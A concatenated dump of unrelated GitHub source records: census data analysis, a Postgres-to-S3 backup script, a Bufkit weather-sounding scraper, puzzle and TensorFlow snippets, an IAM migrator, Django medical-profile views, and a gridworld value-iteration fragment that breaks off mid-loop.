rich_percentage = round(min_hours_sal.loc[\">50K\"] / min_hours_sal.sum() * 100, 1)\n\n # What country has the highest percentage of people that earn >50K?\n country_salary = df.groupby([\"native-country\", \"salary\"]).salary.count().unstack(level=-1)\n country_salary[\"rich_perc\"] = country_salary.loc[:, \">50K\"].div(country_salary.sum(axis=1)).mul(100)\n highest_earning_country = country_salary.rich_perc.idxmax()\n highest_earning_country_percentage = round(country_salary.rich_perc.max(), 1)\n\n # Identify the most popular occupation for those who earn >50K in India.\n mask_country = df[\"native-country\"]==\"India\"\n top_IN_occupation = df.loc[mask_country].groupby([\"salary\", \"occupation\"]).salary.count().loc[\">50K\"].idxmax()\n\n # DO NOT MODIFY BELOW THIS LINE\n\n if print_data:\n print(\"Number of each race:\\n\", race_count) \n print(\"Average age of men:\", average_age_men)\n print(f\"Percentage with Bachelors degrees: {percentage_bachelors}%\")\n print(f\"Percentage with higher education that earn >50K: {higher_education_rich}%\")\n print(f\"Percentage without higher education that earn >50K: {lower_education_rich}%\")\n print(f\"Min work time: {min_work_hours} hours/week\")\n print(f\"Percentage of rich among those who work fewest hours: {rich_percentage}%\")\n print(\"Country with highest percentage of rich:\", highest_earning_country)\n print(f\"Highest percentage of rich people in country: {highest_earning_country_percentage}%\")\n print(\"Top occupations in India:\", top_IN_occupation)\n\n return {\n 'race_count': race_count,\n 'average_age_men': average_age_men,\n 'percentage_bachelors': percentage_bachelors,\n 'higher_education_rich': higher_education_rich,\n 'lower_education_rich': lower_education_rich,\n 'min_work_hours': min_work_hours,\n 'rich_percentage': rich_percentage,\n 'highest_earning_country': highest_earning_country,\n 'highest_earning_country_percentage':\n highest_earning_country_percentage,\n 'top_IN_occupation': top_IN_occupation\n }\n\n","repo_name":"teempe/fcc-da-demographic-data-analyser","sub_path":"demographic_data_analyzer.py","file_name":"demographic_data_analyzer.py","file_ext":"py","file_size_in_byte":3849,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"24860644346","text":"import os\nimport subprocess\nfrom datetime import datetime\nimport boto3\nfrom dotenv import load_dotenv\nimport argparse\nfrom datetime import datetime, timedelta\n\n# 引数の解析\nparser = argparse.ArgumentParser(description='Backup for PostgreSQL in Docker.')\nparser.add_argument('source', choices=['s3', 'local'], help='Backup source: S3 or local')\nargs = parser.parse_args()\n\n\n# .envファイルから環境変数をロード\nload_dotenv()\n\n# 環境変数の取得\nDB_USER = os.environ.get(\"DB_USER\")\nDB_PASSWORD = os.environ.get(\"DB_PASSWORD\")\nDB_NAME = os.environ.get(\"DB_NAME\")\nAWS_ACCESS_KEY_ID = os.environ.get(\"AWS_ACCESS_KEY_ID\")\nAWS_SECRET_ACCESS_KEY = os.environ.get(\"AWS_SECRET_ACCESS_KEY\")\nAWS_DEFAULT_REGION = os.environ.get(\"AWS_DEFAULT_REGION\")\nBUCKET_NAME = os.environ.get(\"BUCKET_NAME\")\nBACKUP_DIR = os.environ.get(\"BACKUP_DIR\")\nPOSTGRES_CONTAINER_NAME = os.environ.get(\"POSTGRES_CONTAINER_NAME\")\n\n\n# データベースのバックアップ\ncurrent_date = datetime.now().strftime('%Y-%m-%d')\nbackup_file = os.path.join(BACKUP_DIR, f\"backup_{current_date}.dump\")\n\ndump_command = [\n \"docker\", \"exec\", \"-i\", POSTGRES_CONTAINER_NAME,\n \"pg_dump\",\n f\"-U{DB_USER}\",\n f\"-hlocalhost\",\n \"-Fc\", # custom format\n DB_NAME,\n f\">{backup_file}\"\n]\nsubprocess.run(\" \".join(dump_command), shell=True)\n\n\n# AWS S3へのアップロード\nif args.source == \"s3\":\n s3 = boto3.client(\n 's3',\n aws_access_key_id=AWS_ACCESS_KEY_ID,\n aws_secret_access_key=AWS_SECRET_ACCESS_KEY,\n region_name=AWS_DEFAULT_REGION\n )\n\n with open(backup_file, \"rb\") as f:\n s3.upload_fileobj(f, BUCKET_NAME, f\"backup_{current_date}.dump\")\n\nelif args.source == \"local\":\n print(f\"Backup saved to {backup_file}\")\nelse:\n print(\"Invalid choice. Backup not saved to S3 or local.\")\n\n# 古いバックアップファイルの削除\n# ここでは、バックアップファイルを3日分しか残さないようにしています。\n# この日数は、必要に応じて変更してください。\nold_date = datetime.now() - timedelta(days=3)\nold_date_str = old_date.strftime('%Y-%m-%d')\nold_backup_file = os.path.join(BACKUP_DIR, f\"backup_{old_date_str}.dump\")\nif os.path.exists(old_backup_file):\n os.remove(old_backup_file)\n print(f\"Removed old backup file: {old_backup_file}\")\nelse:\n print(f\"No old backup file found: {old_backup_file}\")\n ","repo_name":"kyong/misskey-maintenance","sub_path":"backup_db.py","file_name":"backup_db.py","file_ext":"py","file_size_in_byte":2390,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"71486488412","text":"import sys\nimport json\nimport numpy as np\nimport time\nimport math\nimport urllib.request as request\nfrom urllib.error import HTTPError\nimport re\nimport metpy.calc as mc\nfrom metpy.units import units\nfrom datetime import datetime\n\n####################################################\n#Original Code Author: nickl\n#Current Code Author: Austin Rebello\n#Repurposed code for grabbing BUFKIT data for a Lake Effect Snow Event Database for NWS CLEVELAND\n#Bufkit data comes from Iowa State's archive\nurl='https://mtarchive.geol.iastate.edu'\n#Format is url/YYYY/MM/DD/bufkit/HH/rap\n####################################################\n\nclass processBufkit:\n #Initializes the class Object when the class is called at the bottom of the file\n def __init__(self,startTime,endTime, lakeTemp):\n self.url = url\n self.startTime = startTime\n self.endTime = endTime\n self.hour = \"\"\n self.year = \"\"\n self.month = \"\"\n self.day = \"\"\n #Bufkit sounding stations list\n self.stations = [\"kcle\",\"keri\",\"kgkl\",\"le1\",\"le2\"]\n self.cape = 0\n self.crosshair = False\n self.times=[]\n self.bufkitRows = []\n self.bulkShearValues = []\n self.compiledRows = []\n self.lkTmp = float(lakeTemp)\n\n def run(self):\n #Sets up the time range for the Bufkit data, and for each station, gets the NAM and RAP data before outputting to JSON\n self.setUpTimeRange()\n for station in self.stations: \n self.getRAPData(station)\n self.getNAMData(station)\n jsonOutput = json.dumps(self.compiledRows)\n print(jsonOutput)\n \n \n #Calculates the bulk shear\n def bulkShear(self,p,u,v):\n return mc.bulk_shear(p,u,v)\n\n #This gets a list of all the hours w/i the time range, accounting for UTC, DST and leap years \n def setUpTimeRange(self):\n st = time.strptime(self.startTime,\"%Y/%m/%d/%H\")\n startUTCBase = datetime(st.tm_year, st.tm_mon, st.tm_mday, st.tm_hour)\n stUnix = (startUTCBase - datetime(1970,1,1)).total_seconds()\n et = time.strptime(self.endTime,\"%Y/%m/%d/%H\")\n endUTCBase = datetime(et.tm_year, et.tm_mon, et.tm_mday, et.tm_hour)\n etUnix = (endUTCBase - datetime(1970,1,1)).total_seconds()\n t = stUnix\n while t < etUnix:\n self.times.append(t)\n t = t +3600\n\n #Given that the models rarely have exact pressure levels, linear extrapolation is used to approximate what\n #the values at a given pressure level would be\n def calculateExactPressureValue(self, pressure, pLowData, pHighData):\n exactData = [\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\"]\n pressureDifference = float(pHighData[0]) - float(pLowData[0])\n pressureDifferenceToTarget = pressure - float(pLowData[0])\n ratioOfDifference = pressureDifferenceToTarget/pressureDifference\n for dataPoint in range(10):\n exactData[dataPoint] = str(round(float(pLowData[dataPoint])+(float(pHighData[dataPoint])-float(pLowData[dataPoint]))*ratioOfDifference,2))\n return exactData\n\n #Calculates relative humidity given temperature and dew point\n def calculateRelativeHumidity(self, temperature, dewPoint):\n tempExponent = ((17.625*temperature)/(243.04+temperature))\n if(tempExponent > 5 or tempExponent < -5):\n return(\"-9999\")\n tempE = 6.1094*math.e**((17.625*temperature)/(243.04+temperature))\n dewE = 6.1094*math.e**((17.625*dewPoint)/(243.04+dewPoint))\n relHum = round(100*(dewE/tempE),2)\n return str(relHum)\n \n #Calculates relative humidity with respect to ice given temperature and dew point\n def calculateRelativeHumidityIce(self, temperature, dewPoint):\n tempE = 6.1121*math.e**((22.587*temperature)/(273.64+temperature))\n dewE = 6.1121*math.e**((22.587*dewPoint)/(273.64+dewPoint))\n relHum = round(100*(dewE/tempE),2)\n return str(relHum)\n \n #Accumulates all the data into one entry of a multi-dimensional array for JSON parsing\n def compileRow(self, station, modelType, year, month, day, hour, cross):\n rowBuild = []\n if(len(hour)<2):\n hour = \"0\"+hour\n rowBuild.extend([modelType, station, (str(year)+\"-\"+str(month)+\"-\"+str(day)+\" \"+hour)]) #Model Type, Station, Date\n rowBuild.append(self.bufkitRows[0][5]) #10 Meter Wind Direction\n rowBuild.append(self.bufkitRows[0][6]) #10 Meter Wind Speed\n #Aggregates the temperature, dewpoint, and bulk shear then calculates the relative humidity\n #and relative humidity with respect to ice for each pressure level before appending it to the final row\n for i in range(3):\n currentTemp = self.bufkitRows[i+1][2]\n currentDew = self.bufkitRows[i+1][3]\n relativeHumidity = self.calculateRelativeHumidity(float(currentTemp), float(currentDew))\n relativeHumidityIce = self.calculateRelativeHumidityIce(float(currentTemp), float(currentDew))\n bS = self.bulkShearValues\n \n rowBuild.extend([currentTemp, currentDew, relativeHumidity, relativeHumidityIce]) #Temp, DewP, RelHum, RelHumIce for each pressure level\n rowBuild.extend([self.bufkitRows[i+1][5],self.bufkitRows[i+1][6],self.bufkitRows[i+1][9]]) #Wind Speed, Wind Direction, Height for each pressure level\n rowBuild.append(self.cape) #Model Cape\n # calc and append LI Cape\n # calc and append LI NCape\n # calc and append LI EQL\n rowBuild.extend([0,0,0]) #LI Cape, LI NCape and LI EQL\n rowBuild.extend([round(bS[0].magnitude,2),round(bS[1],2),round(bS[2],2)]) #Bulk Shear, BS U and BS V\n rowBuild.append(round(self.lkTmp - float(self.bufkitRows[2][2]),2)) #DeltaTemperature for Lake surface temp to 850mb temp \n rowBuild.append(round(self.lkTmp - float(self.bufkitRows[3][2]),2)) #DeltaTemperature for Lake surface temp to 700mb temp \n rowBuild.append(cross) #Crosshair signature\n self.compiledRows.append(rowBuild)\n \n #Collects and calculates the bulk shear values \n def collectBulkShear(self, Ps, Us, Vs):\n bs = self.bulkShear(Ps*units('hPa'),Us*units('knots'),Vs*units('knots'))\n bsU,bsV = bs\n bulkS = mc.wind_speed(bsU,bsV)\n uMean,vMean = np.average(Us),np.average(Vs)\n self.bulkShearValues.extend([bulkS, uMean, vMean])\n \n def scrapeData(self, data, rangeOne, rangeTwo, station, modelName, modelHour, capeL):\n prevD = [10]\n found925 = False\n found850 = False\n found700 = False\n foundSurface = False\n self.bufkitRows = []\n self.bulkShearValues = []\n Us = []\n Vs = []\n Ps = []\n self.cape = 0\n self.crosshair = False\n \n omegaData = [0,0,0]\n \n #Once the STIM is found, search that run for the model data\n for line in range(rangeOne, rangeTwo):\n \n #Searches for lines that match the individual pressure level data lines\n if re.search(\"(((-\\d+\\.\\d+.)|(\\d+\\.\\d+.)){7}((\\d+\\.\\d+)|(-\\d+\\.\\d+)))\",data[line].decode('ascii')):\n \n #Decodes the data and starts pulling in values\n d = (data[line].decode('ascii')+\" \"+data[line+1].decode('ascii')).split()\n d2,s = d[5:7]\n s = float(s) * units('knots')\n d2 = float(d2) * units('deg')\n u,v = mc.wind_components(s,d2)\n Us.append(u.m)\n Vs.append(v.m)\n Ps.append(float(d[0]))\n \n #First line will always be the surface, grab data and set flag to true to skip this in future iterations\n if not foundSurface:\n foundSurface = True\n self.bufkitRows.append(d)\n prevD = d\n \n #Grabs data from both the pressure level above and below the 925mb Pressure Level\n elif float(d[0]) < 925.0 and not found925:\n truePressureData = self.calculateExactPressureValue(925, d, prevD)\n found925 = True\n self.bufkitRows.append(truePressureData)\n prevD = d\n \n #Grabs data from both the pressure level above and below the 850mb Pressure Level\n elif float(d[0]) < 850.0 and not found850:\n truePressureData = self.calculateExactPressureValue(850, d, prevD)\n found850 = True\n self.bufkitRows.append(truePressureData)\n prevD = d\n \n #Grabs data from both the pressure level above and below the 700mb Pressure Level\n elif float(d[0]) < 700.0 and not found700:\n truePressureData = self.calculateExactPressureValue(700, d, prevD)\n found700 = True\n self.bufkitRows.append(truePressureData)\n self.collectBulkShear(Ps, Us, Vs)\n \n #Calculates if the crosshair is present or not\n if(float(d[7])<=omegaData[0] or omegaData[2]<80 or omegaData[1]>-12 or omegaData[1]<-18 or omegaData[0]>=0.0):\n self.crosshair = False\n else:\n self.crosshair = True\n \n #Compiles the station, model and date data for the row\n self.compileRow(station, modelName, self.year, self.month, self.day, modelHour, self.crosshair)\n break\n else:\n prevD = d\n \n #Outside of finding data, keep track of the omega value, temperature, and humidity to calculate the presence of a crosshair\n if(float(d[7])<=omegaData[0]):\n omegaData[0] = float(d[7])\n omegaData[1] = float(d[1])\n omegaData[2] = float(self.calculateRelativeHumidity(float(d[1]), float(d[2])))\n \n #Scrapes the CAPE value found at the top of each sounding \n elif line == capeL:\n capeLine = data[line].decode('ascii')\n splitLine = capeLine.split(\" \")\n self.cape = splitLine[-1] \n \n #Function that handles opening the NAM URLs to scrape the data\n def queryDataNAM(self, modelType, hour, startingSTIM, endingSTIM, station):\n #Builds the URL\n request_url = self.url + \"/{}/{}/{}/bufkit/{}/{}/{}_{}.buf\".format(self.year,self.month,self.day,hour,'nam',modelType,station)\n \n #Corrects the link since GKL changed station codes in the past\n try:\n response = request.urlopen(request_url)\n except HTTPError as err:\n if station == 'kgkl':\n station = 'kgkj'\n request_url = self.url + \"/{}/{}/{}/bufkit/{}/{}/{}_{}.buf\".format(self.year,self.month,self.day,hour,'nam',modelType,station)\n try:\n response = request.urlopen(request_url)\n except HTTPError as err:\n return\n else:\n return\n \n #Splits the page into iterable lines \n data = response.read().splitlines()\n \n #Loop that looks for the requested STIM times\n #STIM time would be the forecast hour needed since the NAM does 6 hour runs not hourly\n #So 14Z would be STIM 2 on the 12Z run\n #Each STIM line is always 132 lines apart\n for stimSearch in range(startingSTIM, startingSTIM+endingSTIM+1):\n stimFound = stimSearch*132+6\n stim = data[stimFound].decode('ascii').split(' ')[2]\n \n if station == \"kgkj\":\n station = \"kgkl\"\n \n #Scrapes and processes the data\n self.scrapeData(data, stimSearch*132+6, len(data), station, \"NAM\", str(int(hour)+int(stim)), stimFound+3) \n \n #Iterates over each time to get NAM data, sets up appropriate STIM values to search between for each link\n #Also formats each link depending on a 0/12Z run or a 6/18Z run since the links are different\n def getNAMData(self, station):\n times = self.times\n ah = 0\n while ah < len(times):\n atime = time.strftime(\"%Y/%m/%d/%H\", time.gmtime(times[ah]))\n self.year,self.month,self.day,self.hour = atime.split(\"/\")\n endStim = len(times)-ah-1\n startStim = 0\n if(endStim<5):\n useValue = endStim\n else:\n useValue = 5\n if int(self.hour)>=0 and int(self.hour)<6:\n startStim = int(self.hour)-0\n if(startStim + useValue > 5):\n useValue = 5 - startStim\n self.queryDataNAM('nam','00', startStim, useValue, station)\n elif int(self.hour)>=6 and int(self.hour)<12:\n startStim = int(self.hour)-6\n if(startStim + useValue > 5):\n useValue = 5 - startStim\n self.queryDataNAM('namm','06', startStim, useValue, station)\n elif int(self.hour)>=12 and int(self.hour)<18:\n startStim = int(self.hour)-12\n if(startStim + useValue > 5):\n useValue = 5 - startStim\n self.queryDataNAM('nam','12', startStim, useValue, station)\n elif int(self.hour)>=18 and int(self.hour)<24:\n startStim = int(self.hour)-18\n if(startStim + useValue > 5):\n useValue = 5 - startStim\n self.queryDataNAM('namm','18', startStim, useValue, station)\n ah = ah + useValue + 1\n\n #Function that handles opening the RAP URLs to scrape the data \n def getRAPData(self,station):\n \n #Iterates through each time since RAP is an hourly model\n for ah in self.times:\n atime = time.strftime(\"%Y/%m/%d/%H\", time.gmtime(ah))\n model = 'rap'\n self.year,self.month,self.day,self.hour = atime.split(\"/\")\n request_url = self.url + \"/{}/{}/{}/bufkit/{}/{}/{}_{}.buf\".format(self.year,self.month,self.day,self.hour,model,model,station)\n response = ''\n try:\n response = request.urlopen(request_url)\n except HTTPError as err:\n if station == 'kgkl':\n station = 'kgkj'\n try:\n request_url = self.url + \"/{}/{}/{}/bufkit/{}/{}/{}_{}.buf\".format(self.year,self.month,self.day,self.hour,model,model,station)\n response = request.urlopen(request_url)\n except HTTPError as err:\n model = 'ruc'\n request_url = self.url + \"/{}/{}/{}/bufkit/{}/{}/{}_{}.buf\".format(self.year,self.month,self.day,self.hour,model,model,station)\n try:\n response = request.urlopen(request_url)\n except HTTPError as err:\n break\n else:\n model = 'ruc'\n request_url = self.url + \"/{}/{}/{}/bufkit/{}/{}/{}_{}.buf\".format(self.year,self.month,self.day,self.hour,model,model,station)\n try:\n response = request.urlopen(request_url)\n except HTTPError as err:\n break\n if response == '':\n break\n #Splits the page into iterable lines and initializes the flags and arrays used for each hourly sounding \n data = response.read().splitlines()\n \n if station == \"kgkj\":\n station = \"kgkl\"\n \n #Scrapes and processes the data\n self.scrapeData(data, 0, len(data), station, \"RAP\", self.hour, 9)\n\nargs = sys.argv\nprocessBufkit(args[1], args[2], args[3]).run()\n","repo_name":"AustinRebello/LakeEffectSnowDatabase","sub_path":"lib/assets/getBufkit.py","file_name":"getBufkit.py","file_ext":"py","file_size_in_byte":16199,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"71092915610","text":"from itertools import permutations, combinations\n\nnumbers = open(\"input.txt\").read().split(\"\\n\")\nnumbers = [int(x) for x in numbers]\n\npreamble = 25\npre = numbers[0:preamble]\n\ndef get_sum(target, nums):\n for x in combinations(nums, 2):\n if sum(x) == target:\n return True\n return False\n\ndef get_sum2(target, nums):\n for i in range(0,len(nums) + 1):\n s = 0\n for j in range(i, len(nums) + 1):\n s = sum(nums[i:j])\n if s == target:\n return (max(nums[i:j]) + min(nums[i:j]))\n elif s > target:\n break\n\nfor i, x in enumerate(numbers, 1):\n if get_sum(numbers[i + preamble - 1], pre) == False:\n print(\"part1:\",numbers[i + preamble - 1])\n print(\"part2:\",get_sum2(numbers[i + preamble - 1], numbers))\n exit(0)\n pre = numbers[i:i + preamble]\n\n","repo_name":"Dellamoresteven/advent_of_code_2020","sub_path":"9/solve.py","file_name":"solve.py","file_ext":"py","file_size_in_byte":860,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"35819311705","text":"import pytest\n\nfrom plenum.common.constants import TXN_TYPE, DATA, \\\n CURRENT_PROTOCOL_VERSION, DOMAIN_LEDGER_ID\nfrom plenum.common.request import Request\nfrom plenum.common.types import f\nfrom plenum.common.util import getTimeBasedId\nfrom plenum.test.helper import sdk_sign_and_submit_req_obj, sdk_get_and_check_replies\n\nTEST_NODE_NAME = 'Alpha'\nINFO_FILENAME = '{}_info.json'.format(TEST_NODE_NAME.lower())\nPERIOD_SEC = 1\n\n\n@pytest.fixture(scope='function')\ndef info(node):\n return node._info_tool.info\n\n\n@pytest.fixture(scope='module')\ndef node(txnPoolNodeSet):\n for n in txnPoolNodeSet:\n if n.name == TEST_NODE_NAME:\n return n\n assert False, 'Pool does not have \"{}\" node'.format(TEST_NODE_NAME)\n\n\n@pytest.fixture\ndef read_txn_and_get_latest_info(looper,\n sdk_pool_handle,\n sdk_wallet_client, node):\n _, did = sdk_wallet_client\n def read_wrapped(txn_type):\n op = {\n TXN_TYPE: txn_type,\n f.LEDGER_ID.nm: DOMAIN_LEDGER_ID,\n DATA: 1\n }\n req = Request(identifier=did,\n operation=op, reqId=getTimeBasedId(),\n protocolVersion=CURRENT_PROTOCOL_VERSION)\n sdk_get_and_check_replies(looper, [sdk_sign_and_submit_req_obj(\n looper, sdk_pool_handle, sdk_wallet_client, req)])\n\n return node._info_tool.info\n\n return read_wrapped\n\n\n@pytest.fixture(scope=\"function\")\ndef load_latest_info(node):\n def wrapped():\n return node._info_tool.info\n\n return wrapped\n","repo_name":"hyperledger/indy-plenum","sub_path":"plenum/test/validator_info/conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":1582,"program_lang":"python","lang":"en","doc_type":"code","stars":210,"dataset":"github-code","pt":"32"} +{"seq_id":"23881285381","text":"import tensorflow as tf\n\n# 크기에 상관 없는 정수형 1차원 배열의 placeholder를 만들고\n# 곱하기 2한 결과를 텐서이용하여 출력\n\narr = tf.placeholder(tf.int32,shape=None,name='arr')\n\nb = tf.constant(2)\nx_op = arr * b\n\n\nsess = tf.Session()\n\nr1 = sess.run(x_op,feed_dict={arr:[3,4,5,6,7]})\nprint(r1)\n\n\n\n\n\n\n\n\n","repo_name":"kimkm0828/tensorflow","sub_path":"placeholder02.py","file_name":"placeholder02.py","file_ext":"py","file_size_in_byte":335,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"30890303558","text":"import codecs\nimport json\nimport os\nimport sys\n\nfrom django.conf import settings\nfrom iam.contrib.iam_migration import exceptions\nfrom iam.contrib.iam_migration.migrator import renders\nfrom iam.contrib.iam_migration.utils import do_migrate\n\n\nclass BKPaaSIAMMigrator:\n \"\"\"\n bkpaas 定制化 IAM Migrator\n\n 由于 bkpaas 配置项与 IAM 中需要的项含义不同,且无指定的方法,因���特殊定制\n 主要差异项:APP_CODE -> IAM_APP_CODE, SECRET_KEY -> IAM_APP_SECRET\n \"\"\"\n\n def __init__(self, migration_json):\n self.migration_json = migration_json\n\n def migrate(self):\n app_code = settings.IAM_APP_CODE\n app_secret = settings.IAM_APP_SECRET\n\n USE_APIGATEWAY = getattr(settings, \"BK_IAM_USE_APIGATEWAY\", False)\n if USE_APIGATEWAY:\n do_migrate.enable_use_apigateway()\n iam_host = getattr(settings, \"BK_IAM_APIGATEWAY_URL\", \"\")\n if iam_host == \"\":\n raise exceptions.MigrationFailError(\"settings.BK_IAM_APIGATEWAY_URL should be setted\")\n else:\n iam_host = settings.BK_IAM_V3_INNER_URL\n\n # only trigger migrator at db migrate\n if \"migrate\" not in sys.argv:\n return\n\n if getattr(settings, \"BK_IAM_SKIP\", False):\n return\n\n json_path = getattr(settings, \"BK_IAM_MIGRATION_JSON_PATH\", \"support-files/iam/\")\n file_path = os.path.join(settings.BASE_DIR, json_path, self.migration_json)\n\n with codecs.open(file_path, mode=\"r\", encoding=\"utf-8\") as fp:\n data = json.load(fp=fp)\n\n # data pre render\n for op in data[\"operations\"]:\n if op[\"operation\"] in renders:\n renders[op[\"operation\"]](op[\"data\"])\n\n ok, _ = do_migrate.api_ping(iam_host)\n if not ok:\n raise exceptions.NetworkUnreachableError(\"bk iam ping error\")\n\n ok = do_migrate.do_migrate(data, iam_host, app_code, app_secret)\n if not ok:\n raise exceptions.MigrationFailError(\"iam migrate fail\")\n","repo_name":"TencentBlueKing/blueking-paas","sub_path":"apiserver/paasng/paasng/infras/iam/bkpaas_iam_migration/migrator.py","file_name":"migrator.py","file_ext":"py","file_size_in_byte":2040,"program_lang":"python","lang":"en","doc_type":"code","stars":134,"dataset":"github-code","pt":"32"} +{"seq_id":"8900306849","text":"from django.contrib.auth.mixins import LoginRequiredMixin, UserPassesTestMixin\nfrom django.core.exceptions import ValidationError\nfrom django.db import transaction\nfrom django.db.models import Q\nfrom django.http import HttpResponse, HttpResponseRedirect\nfrom django.shortcuts import get_object_or_404\nfrom django.urls import reverse, reverse_lazy\nfrom django.views import generic\nfrom django.views.generic import ListView\n\nfrom .forms import AvailableTimeSelectForm, ReservationCreateForm\nfrom .models import Profile, ProfileDoctor, Reservation, Treatment\n\n\nclass ProfileCreateView(LoginRequiredMixin, generic.CreateView):\n model = Profile\n fields = [\n \"image\",\n \"first_name\",\n \"last_name\",\n \"surname\",\n \"date_of_birth\",\n \"phone_number\",\n \"passport_number\",\n \"gender\",\n \"registration\",\n ]\n template_name = \"user_profile/create_profile.html\"\n\n def form_valid(self, form) -> HttpResponse:\n form.instance.user = self.request.user\n return super().form_valid(form)\n\n\nclass ProfileDoctorCreateView(\n UserPassesTestMixin, LoginRequiredMixin, generic.CreateView\n):\n model = ProfileDoctor\n fields = [\n \"image\",\n \"first_name\",\n \"last_name\",\n \"surname\",\n \"speciality\",\n \"date_of_birth\",\n \"phone_number\",\n ]\n template_name = \"user_profile/create_profile_doctor.html\"\n\n def form_valid(self, form) -> HttpResponse:\n form.instance.user = self.request.user\n return super().form_valid(form)\n\n def test_func(self):\n return self.request.user.is_staff\n\n def handle_no_permission(self):\n return HttpResponseRedirect(reverse('user_profile:create_profile'))\n\n\nclass ProfileDetailView(UserPassesTestMixin, generic.DetailView):\n model = Profile\n context_object_name = 'profile'\n template_name = \"user_profile/detail_profile.html\"\n\n def test_func(self):\n is_admin = self.request.user.is_staff\n is_profile_owner = self.request.user.id == self.get_object().user.id\n is_staff_profile = self.get_object().user.is_staff\n return is_admin or (not is_admin and (is_profile_owner or is_staff_profile))\n\n def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n\n treatments = self.object.received_treatments.all()\n\n context['treatments'] = treatments\n\n return context\n\n\nclass ProfileDoctorDetailView(UserPassesTestMixin, generic.DetailView):\n model = ProfileDoctor\n context_object_name = 'profile_doctor'\n template_name = \"user_profile/detail_profile_doctor.html\"\n\n def test_func(self):\n is_admin = self.request.user.is_staff\n is_profile_owner = self.request.user.id == self.get_object().user.id\n is_staff_profile = self.get_object().user.is_staff\n return is_admin or (not is_admin and (is_profile_owner or is_staff_profile))\n\n\nclass TreatmentCreateView(LoginRequiredMixin, UserPassesTestMixin, generic.CreateView):\n model = Treatment\n fields = [\n 'disability',\n 'scabies',\n 'pedeculosis',\n 'mode',\n 'temperature',\n 'arterial_pressure',\n 'pulse',\n 'complaints',\n 'anamnesis',\n 'general_state',\n 'skin',\n 'peritoneal_symptoms',\n 'arterial_pulsation',\n 'stool',\n 'urination',\n 'diagnosis',\n 'treatment',\n 'recommendations',\n 'test_oak',\n 'test_oam',\n 'test_bak',\n 'test_kog',\n 'test_x_ray',\n 'test_ecg',\n 'test_ultrasound',\n ]\n template_name = \"user_profile/create_treatment.html\"\n\n def form_valid(self, form) -> HttpResponse:\n creator = self.request.user.profile_doctor\n patient_pk = self.kwargs['pk']\n patient = get_object_or_404(Profile, pk=patient_pk)\n form.instance.creator = creator\n form.instance.patient = patient\n\n return super().form_valid(form)\n\n def test_func(self):\n return self.request.user.is_staff\n\n\nclass TreatmentIndexView(generic.DetailView):\n model = Treatment\n context_object_name = 'treatment'\n template_name = \"user_profile/detail_profile.html\"\n\n\nclass TreatmentDetailView(generic.DetailView):\n model = Treatment\n context_object_name = 'treatment'\n template_name = \"user_profile/detail_treatment.html\"\n\n\nclass SearchView(UserPassesTestMixin, ListView):\n model = Profile\n template_name = 'user_profile/index.html'\n\n def get_queryset(self):\n queryset = Profile.objects.all()\n q = self.request.GET.get(\"q\")\n if q:\n return queryset.filter(\n Q(first_name__icontains=q)\n | Q(last_name__icontains=q)\n | Q(phone_number__icontains=q)\n | Q(passport_number__icontains=q)\n )\n return queryset\n\n def test_func(self):\n return self.request.user.is_staff\n\n\nclass SearchDoctorView(ListView):\n model = ProfileDoctor\n template_name = 'user_profile/search_doctor.html'\n\n def get_queryset(self):\n queryset = ProfileDoctor.objects.all()\n q = self.request.GET.get(\"q\")\n if q:\n return queryset.filter(\n Q(first_name__icontains=q)\n | Q(last_name__icontains=q)\n | Q(phone_number__icontains=q)\n | Q(speciality__icontains=q)\n )\n return queryset\n\n def test_func(self):\n return not self.request.user.is_staff\n\n\nclass ReservationCreateView(generic.CreateView):\n model = Reservation\n form_class = ReservationCreateForm\n template_name = 'user_profile/create_reservation.html'\n\n def form_valid(self, form):\n reserved_user = self.request.user.profile\n reserved_doctor_pk = self.kwargs['pk']\n reserved_doctor = get_object_or_404(ProfileDoctor, pk=reserved_doctor_pk)\n form.instance.reserved_user = reserved_user\n form.instance.reserved_doctor = reserved_doctor\n return super().form_valid(form)\n\n def get_success_url(self):\n return reverse_lazy(\n 'user_profile:create_reservation_second_step', kwargs={'pk': self.object.pk}\n )\n\n\nclass AvailableTimeSelectView(generic.UpdateView):\n model = Reservation\n form_class = AvailableTimeSelectForm\n template_name = 'user_profile/create_reservation_second_step.html'\n\n def form_valid(self, form):\n reservation = self.get_object()\n\n if not form.cleaned_data.get('available_time'):\n return HttpResponseRedirect(\n reverse('user_profile:create_reservation')\n + f'?pk={reservation.reserved_doctor.pk}&error=no_time_selected'\n )\n\n existing_reservations = Reservation.objects.filter(\n booking_date=reservation.booking_date,\n available_time=form.cleaned_data['available_time'],\n reserved_doctor=reservation.reserved_doctor,\n )\n\n if existing_reservations.exists():\n raise ValidationError('Это время уже занято')\n\n if form.cleaned_data['available_time']:\n with transaction.atomic():\n reservation.available_time = form.cleaned_data['available_time']\n reservation.save()\n\n return super().form_valid(form)\n\n\nclass ReservationIndexView(generic.DetailView):\n model = Reservation\n context_object_name = 'reservation'\n template_name = \"user_profile/detail_profile_doctor.html\"\n\n\nclass ReservationDetailView(generic.DetailView):\n model = Reservation\n context_object_name = 'reservation'\n template_name = \"user_profile/detail_reservation.html\"\n","repo_name":"mendelev-main/health.by","sub_path":"user_profile/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":7677,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"43332632243","text":"import numpy as np\nimport math\nfrom rl.gridworld.utils import standard_grid\nfrom rl.gridworld.Action import Action\nfrom collections import defaultdict\nfrom rl.gridworld.utils import *\nif __name__ == \"__main__\":\n grid = standard_grid(normal_reward=-0.1)\n states = grid.all_states()\n possible_states = [s for s in states if not grid.is_terminal_state(s)]\n\n # Initialize V\n print(\"Initialize steps\")\n alpha = 0.9\n epsilon = 10e-4\n iterations = 0\n V = {state: 0 for state in states}\n\n print_values(V, grid)\n # repeat until policy converged\n\n # value iteration\n while True:\n iterations += 1\n biggest_change = 